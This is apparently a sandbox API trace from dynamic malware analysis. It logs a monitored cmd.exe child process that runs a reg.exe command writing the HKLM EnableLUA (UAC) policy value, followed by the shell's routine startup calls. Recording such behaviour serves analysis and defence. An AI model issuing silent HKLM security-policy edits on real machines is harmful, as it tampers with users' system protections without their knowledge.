[0288.573] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.573] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0288.573] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0288.573] GetWindowThreadProcessId (in: hWnd=0x10338, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0288.573] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0288.573] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0288.574] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0288.575] EmptyWorkingSet (hProcess=0xffffffffffffffff)
Thread:
id = 278
os_tid = 0xff8
Process:
id = "2"
image_name = "cmd.exe"
filename = "c:\\windows\\system32\\cmd.exe"
page_root = "0x78602000"
os_pid = "0x798"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x604"
cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 11
os_tid = 0x4e4
[0108.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f9d0 | out: lpSystemTimeAsFileTime=0x24f9d0*(dwLowDateTime=0x1d81f340, dwHighDateTime=0x1d6a96f))
[0108.035] GetCurrentProcessId () returned 0x798
[0108.035] GetCurrentThreadId () returned 0x4e4
[0108.035] GetTickCount () returned 0x114eb88
[0108.035] QueryPerformanceCounter (in: lpPerformanceCount=0x24f9d8 | out: lpPerformanceCount=0x24f9d8*=22717079393) returned 1
[0108.036] GetModuleHandleW (lpModuleName=0x0) returned 0x4a440000
[0108.036] __set_app_type (_Type=0x1)
[0108.036] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a467810) returned 0x0
[0108.037] __getmainargs (in: _Argc=0x4a48a608, _Argv=0x4a48a618, _Env=0x4a48a610, _DoWildCard=0, _StartInfo=0x4a46e0f4 | out: _Argc=0x4a48a608, _Argv=0x4a48a618, _Env=0x4a48a610) returned 0
[0108.038] GetCurrentThreadId () returned 0x4e4
[0108.038] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x4e4) returned 0x3c
[0108.042] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000
[0108.042] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40
[0108.042] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
[0108.043] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0108.043] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f968 | out: phkResult=0x24f968*=0x0) returned 0x2
[0108.043] VirtualQuery (in: lpAddress=0x24f950, lpBuffer=0x24f8d0, dwLength=0x30 | out: lpBuffer=0x24f8d0*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
[0108.043] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24f8d0, dwLength=0x30 | out: lpBuffer=0x24f8d0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
[0108.043] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24f8d0, dwLength=0x30 | out: lpBuffer=0x24f8d0*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
[0108.043] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24f8d0, dwLength=0x30 | out: lpBuffer=0x24f8d0*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
[0108.043] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24f8d0, dwLength=0x30 | out: lpBuffer=0x24f8d0*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
[0108.043] GetConsoleOutputCP () returned 0x1b5
[0108.043] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1
[0108.044] SetConsoleCtrlHandler (HandlerRoutine=0x4a463184, Add=1) returned 1
[0108.044] _get_osfhandle (_FileHandle=1) returned 0x7
[0108.044] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
[0108.044] _get_osfhandle (_FileHandle=1) returned 0x7
[0108.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a46e194 | out: lpMode=0x4a46e194) returned 1
[0108.044] _get_osfhandle (_FileHandle=1) returned 0x7
[0108.044] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0108.045] _get_osfhandle (_FileHandle=0) returned 0x3
[0108.045] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a46e198 | out: lpMode=0x4a46e198) returned 1
[0108.045] _get_osfhandle (_FileHandle=0) returned 0x3
[0108.045] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
[0108.045] GetEnvironmentStringsW () returned 0x2d8c30*
[0108.045] GetProcessHeap () returned 0x2c0000
[0108.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xa7c) returned 0x2d96c0
[0108.045] FreeEnvironmentStringsW (penv=0x2d8c30) returned 1
[0108.045] GetProcessHeap () returned 0x2c0000
[0108.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x8) returned 0x2d8ab0
[0108.045] GetEnvironmentStringsW () returned 0x2d8c30*
[0108.045] GetProcessHeap () returned 0x2c0000
[0108.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xa7c) returned 0x2da150
[0108.046] FreeEnvironmentStringsW (penv=0x2d8c30) returned 1
[0108.046] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e828 | out: phkResult=0x24e828*=0x44) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x0, lpData=0x24e840*=0x18, lpcbData=0x24e824*=0x1000) returned 0x2
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x1, lpcbData=0x24e824*=0x4) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x0, lpData=0x24e840*=0x1, lpcbData=0x24e824*=0x1000) returned 0x2
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x0, lpcbData=0x24e824*=0x4) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x40, lpcbData=0x24e824*=0x4) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x40, lpcbData=0x24e824*=0x4) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x0, lpData=0x24e840*=0x40, lpcbData=0x24e824*=0x1000) returned 0x2
[0108.046] RegCloseKey (hKey=0x44) returned 0x0
[0108.046] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e828 | out: phkResult=0x24e828*=0x44) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x0, lpData=0x24e840*=0x40, lpcbData=0x24e824*=0x1000) returned 0x2
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x1, lpcbData=0x24e824*=0x4) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x0, lpData=0x24e840*=0x1, lpcbData=0x24e824*=0x1000) returned 0x2
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x0, lpcbData=0x24e824*=0x4) returned 0x0
[0108.046] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x9, lpcbData=0x24e824*=0x4) returned 0x0
[0108.047] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x4, lpData=0x24e840*=0x9, lpcbData=0x24e824*=0x4) returned 0x0
[0108.047] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e820, lpData=0x24e840, lpcbData=0x24e824*=0x1000 | out: lpType=0x24e820*=0x0, lpData=0x24e840*=0x9, lpcbData=0x24e824*=0x1000) returned 0x2
[0108.047] RegCloseKey (hKey=0x44) returned 0x0
[0108.047] time (in: timer=0x0 | out: timer=0x0) returned 0x5f9328df
[0108.047] srand (_Seed=0x5f9328df)
[0108.047] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f"
[0108.047] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f"
[0108.047] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0108.047] GetProcessHeap () returned 0x2c0000
[0108.047] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2dabe0
[0108.047] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2dabf0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
[0108.047] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0108.047] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0108.048] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0108.048] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
[0108.048] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
[0108.048] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
[0108.048] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
[0108.048] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
[0108.048] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
[0108.048] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
[0108.048] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
[0108.048] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
[0108.048] GetProcessHeap () returned 0x2c0000
[0108.048] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d96c0 | out: hHeap=0x2c0000) returned 1
[0108.048] GetEnvironmentStringsW () returned 0x2d8c30*
[0108.048] GetProcessHeap () returned 0x2c0000
[0108.048] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xa94) returned 0x2db8a0
[0108.048] FreeEnvironmentStringsW (penv=0x2d8c30) returned 1
[0108.048] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0108.048] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0108.048] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
[0108.048] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
[0108.049] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
[0108.049] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
[0108.049] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
[0108.049] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
[0108.049] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
[0108.049] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
[0108.049] GetProcessHeap () returned 0x2c0000
[0108.049] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x5c) returned 0x2c1320
[0108.049] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f630 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0108.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x24f630, lpFilePart=0x24f610 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f610*="Desktop") returned 0x25
[0108.049] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
[0108.049] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f340 | out: lpFindFileData=0x24f340*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc90000c9, cFileName="Users", cAlternateFileName="")) returned 0x2c1390
[0108.049] FindClose (in: hFindFile=0x2c1390 | out: hFindFile=0x2c1390) returned 1
[0108.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x24f340 | out: lpFindFileData=0x24f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc90000c9, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2c1390
[0108.050] FindClose (in: hFindFile=0x2c1390 | out: hFindFile=0x2c1390) returned 1
[0108.050] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
[0108.050] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x24f340 | out: lpFindFileData=0x24f340*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4b1e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x4b1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc90000c9, cFileName="Desktop", cAlternateFileName="")) returned 0x2c1390
[0108.050] FindClose (in: hFindFile=0x2c1390 | out: hFindFile=0x2c1390) returned 1
[0108.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
[0108.050] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
[0108.050] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
[0108.050] GetProcessHeap () returned 0x2c0000
[0108.050] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2db8a0 | out: hHeap=0x2c0000) returned 1
[0108.050] GetEnvironmentStringsW () returned 0x2d8c30*
[0108.050] GetProcessHeap () returned 0x2c0000
[0108.050] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xae8) returned 0x2dae00
[0108.050] FreeEnvironmentStringsW (penv=0x2d8c30) returned 1
[0108.050] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0108.050] GetProcessHeap () returned 0x2c0000
[0108.050] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2c1320 | out: hHeap=0x2c0000) returned 1
[0108.051] GetProcessHeap () returned 0x2c0000
[0108.051] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4016) returned 0x2dce30
[0108.051] GetProcessHeap () returned 0x2c0000
[0108.051] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x112) returned 0x2db8f0
[0108.051] GetProcessHeap () returned 0x2c0000
[0108.051] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dce30 | out: hHeap=0x2c0000) returned 1
[0108.051] GetConsoleOutputCP () returned 0x1b5
[0108.051] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1
[0108.051] GetUserDefaultLCID () returned 0x409
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a477b50, cchData=8 | out: lpLCData=":") returned 2
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f740, cchData=128 | out: lpLCData="0") returned 2
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f740, cchData=128 | out: lpLCData="0") returned 2
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f740, cchData=128 | out: lpLCData="1") returned 2
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a48a740, cchData=8 | out: lpLCData="/") returned 2
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a48a4a0, cchData=32 | out: lpLCData="Mon") returned 4
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a48a460, cchData=32 | out: lpLCData="Tue") returned 4
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a48a420, cchData=32 | out: lpLCData="Wed") returned 4
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a48a3e0, cchData=32 | out: lpLCData="Thu") returned 4
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a48a3a0, cchData=32 | out: lpLCData="Fri") returned 4
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a48a360, cchData=32 | out: lpLCData="Sat") returned 4
[0108.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a48a700, cchData=32 | out: lpLCData="Sun") returned 4
[0108.053] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a477b40, cchData=8 | out: lpLCData=".") returned 2
[0108.053] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a48a4e0, cchData=8 | out: lpLCData=",") returned 2
[0108.053] setlocale (category=0, locale=".OCP") returned="English_United States.437"
[0108.053] GetProcessHeap () returned 0x2c0000
[0108.053] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20c) returned 0x2dba80
[0108.054] GetConsoleTitleW (in: lpConsoleTitle=0x2dba80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0108.054] _get_osfhandle (_FileHandle=1) returned 0x7
[0108.054] GetFileType (hFile=0x7) returned 0x2
[0108.054] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0108.054] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f878 | out: lpMode=0x24f878) returned 1
[0108.054] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0108.055] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x24f890 | out: lpConsoleScreenBufferInfo=0x24f890) returned 1
[0108.055] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0108.055] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x24f840 | out: lpConsoleScreenBufferInfo=0x24f840) returned 1
[0108.055] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x7, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x24f878 | out: lpNumberOfAttrsWritten=0x24f878) returned 1
[0108.056] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x7) returned 1
[0108.056] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000
[0108.056] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0
[0108.056] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290
[0108.056] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0
[0108.056] GetProcessHeap () returned 0x2c0000
[0108.056] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4012) returned 0x2dce30
[0108.056] GetProcessHeap () returned 0x2c0000
[0108.056] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4010) returned 0x2e0e50
[0108.057] GetProcessHeap () returned 0x2c0000
[0108.057] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x1e) returned 0x2d4760
[0108.057] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows") returned 0xa
[0108.057] GetProcessHeap () returned 0x2c0000
[0108.057] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d4760 | out: hHeap=0x2c0000) returned 1
[0108.057] GetProcessHeap () returned 0x2c0000
[0108.057] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e0e50 | out: hHeap=0x2c0000) returned 1
[0108.057] GetProcessHeap () returned 0x2c0000
[0108.057] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dce30 | out: hHeap=0x2c0000) returned 1
[0108.059] _wcsicmp (_String1="C:\\Windows\\System32\\reg.exe", _String2=")") returned 58
[0108.059] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\System32\\reg.exe") returned 3
[0108.059] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\System32\\reg.exe") returned 3
[0108.059] _wcsicmp (_String1="IF", _String2="C:\\Windows\\System32\\reg.exe") returned 6
[0108.059] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\System32\\reg.exe") returned 6
[0108.059] _wcsicmp (_String1="REM", _String2="C:\\Windows\\System32\\reg.exe") returned 15
[0108.059] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\System32\\reg.exe") returned 15
[0108.059] GetProcessHeap () returned 0x2c0000
[0108.059] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0) returned 0x2dbca0
[0108.059] GetProcessHeap () returned 0x2c0000
[0108.059] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2dbd60
[0108.061] GetProcessHeap () returned 0x2c0000
[0108.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xdc) returned 0x2dbdb0
[0108.062] GetConsoleTitleW (in: lpConsoleTitle=0x24f650, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b
[0108.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0108.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0108.063] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x24f1e0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x24f1c0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x24f1c0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
[0108.063] GetProcessHeap () returned 0x2c0000
[0108.063] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2dbea0
[0108.063] GetProcessHeap () returned 0x2c0000
[0108.063] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x114) returned 0x2dc0c0
[0108.064] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51
[0108.064] GetProcessHeap () returned 0x2c0000
[0108.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x420) returned 0x2c1320
